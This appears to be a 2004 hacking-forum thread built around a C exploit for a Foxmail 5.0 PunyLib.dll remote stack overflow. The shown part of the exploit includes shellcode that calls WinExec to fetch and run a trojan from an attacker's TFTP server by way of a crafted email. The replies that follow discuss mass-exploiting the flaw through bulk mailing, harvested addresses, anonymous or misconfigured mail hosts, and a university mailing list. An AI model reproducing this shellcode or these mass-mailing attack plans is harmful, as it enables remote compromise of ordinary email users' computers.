/* ex_foxmail5.0_windows.c - x86/win32 Foxmail 5.0 PunyLib.dll remote stack buffer overflow exploit * * (C) COPYRIGHT XFOCUS Security Team, 2004 * All Rights Reserved * * ----------------------------------------------------------------------- * Author : xfocus <webmaster@xfocus.org> * : http://www.xfocus.org * Maintain : XFOCUS Security Team <security@xfocus.org> * Version : 0.2 * * Test : Windows 2000 server GB/XP professional * + Foxmail 5.0.300.0 * Notes : published vul. * Greets : all member of XFOCUS Security Team. * Complie : cl fmx.c * Usage : fmx <mail_addr> <tftp_server> <smtp_server> * mail_addr: email address we wantto hack * tftp_server: run a tftp server and have a a.exe trojan * smtp_server: SMTP server don't need login, we send the email thru it * * Date : 2004-02-27 * Revised : 2004-03-05 * * Revise History: * 2003-03-05 call WinExec() addr of Foxmail.exe module to run tftp for down&execute */ #include <stdio.h> #include <stdlib.h> #include <windows.h>
//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.300) unsigned char winexec[] = "x83xecx50xebx0cxb9x41x10xd3x5dxc1xe9x08xffx11xebx08x33xdbx53xe8xecxffxffxff";
//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2) unsigned char winexec2[] = "x83xecx50xebx0cxb9x41x10xa3x5dxc1xe9x08xffx11xebx08x33xdbx53xe8xecxffxffxff";
#define SMTPPORT 25 int Make_Connection(char *address,int port,int timeout); int SendXMail(char *mailaddr, char *tftp, char *smtpserver, char *shellcode);
Foxmail is one of the most popular Internet email client, especially in China, more than 3 million people are using Foxmail to handle their email everyday, and the English version is also widely used in more than 20 countries.
alot of scare stories about foxmail so i dont know how many hosts will use this
nice work m8 , but is there a way to massive exploit this?for example like imail ? u would need to perform a banner scan on port 25 and then read the email adresses out.is that possible???
so long
brOmstar
Mar 22 2004, 06:30 PM
The vulnerability is on the client side so why u wanna check port 25 and do a bannerscan??
If I'm not wrong the Exploit sends a special crafted mail over a specified SMTP-Server to the client allowing u to specify a tftp-server from which then the file a.exe is downloaded and executed.
Is that right?
ilnctm
Mar 22 2004, 07:02 PM
wow thanx this is pretty good thanx for the find
morbido
Mar 22 2004, 07:05 PM
does this exploit works ???? post your report thankz
Sp00ky
Mar 22 2004, 09:21 PM
this is nice thnx alot... btw i'm still a trial member so i can't post a new treat for this:
i heard from someone there is an updated dameware source code just now.... i searched the net but can't find it anyone had any luck???
anyone tried it yet? cause i didn't and it looks realy nice to use
brOmstar
Mar 23 2004, 03:30 PM
how u want to use that?
i don't understand how u know which victim use foxmail cause it's clientside ITS NOT A SERVER ..u can't check any banner or i'm wrong ??
willywutz
Mar 23 2004, 03:44 PM
Only way i know is check your incoming mail for the used client or do massmailing and after check which ip磗 downloaded your exe from the tftp server.
larsbruggie
Mar 23 2004, 07:49 PM
yeah that mass mail seems to be the only way, but where the hell do u get emails from, and how do u mass mail them
Niekos
Mar 23 2004, 08:07 PM
It's just something what just popped in my head:
1. Mass email with that option that he can send a notify, its an option in outlook. (sorry for my (filtered) up english).
2. Check the notify. And look for the fox email thing.
3. Mass mail the fox users with you favourite email program. Or write your own script.
_ET_
Mar 23 2004, 09:47 PM
Hmmz.. pretty worthless imo.
Mass mailing is not withing my gasps... I could mail all the students on my uni (got axx to the mail database.. but then I'm shure to get caught ... or they will ask me what is going on (so I would have to bust myself hehe)
Still waiting on that one cool Windows exploit
willywutz
Mar 24 2004, 12:51 PM
If you have the email adresses of your university u could use anon mailer or an wrong configured mail host....
_ET_
Mar 24 2004, 02:03 PM
Yeah I can... but I won't .... it's many friends and it's my education ... not gonna play with them.
They know I have the list .. and they know I can do stuff..... so gues who will be on the suspects list
willywutz
Mar 24 2004, 03:50 PM
I磎 sorry understood it wrong before.....
Sp00ky
Mar 24 2004, 03:56 PM
maby a stupid idea but just a thought. isnt there a program that let's you see with mail service the computer is using u are scanning... just like scanline does with the OS of a scanned ip???
usch
Mar 24 2004, 04:06 PM
retrieving the server is easy by doing a banner scan.but the main problem is to know an email account
so long
brOmstar
Mar 24 2004, 07:37 PM
usch once again ->ONLY FOR YOU this exploit is for a mail CLIENT ..why do u want to scan for a SERVER-banner ?
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.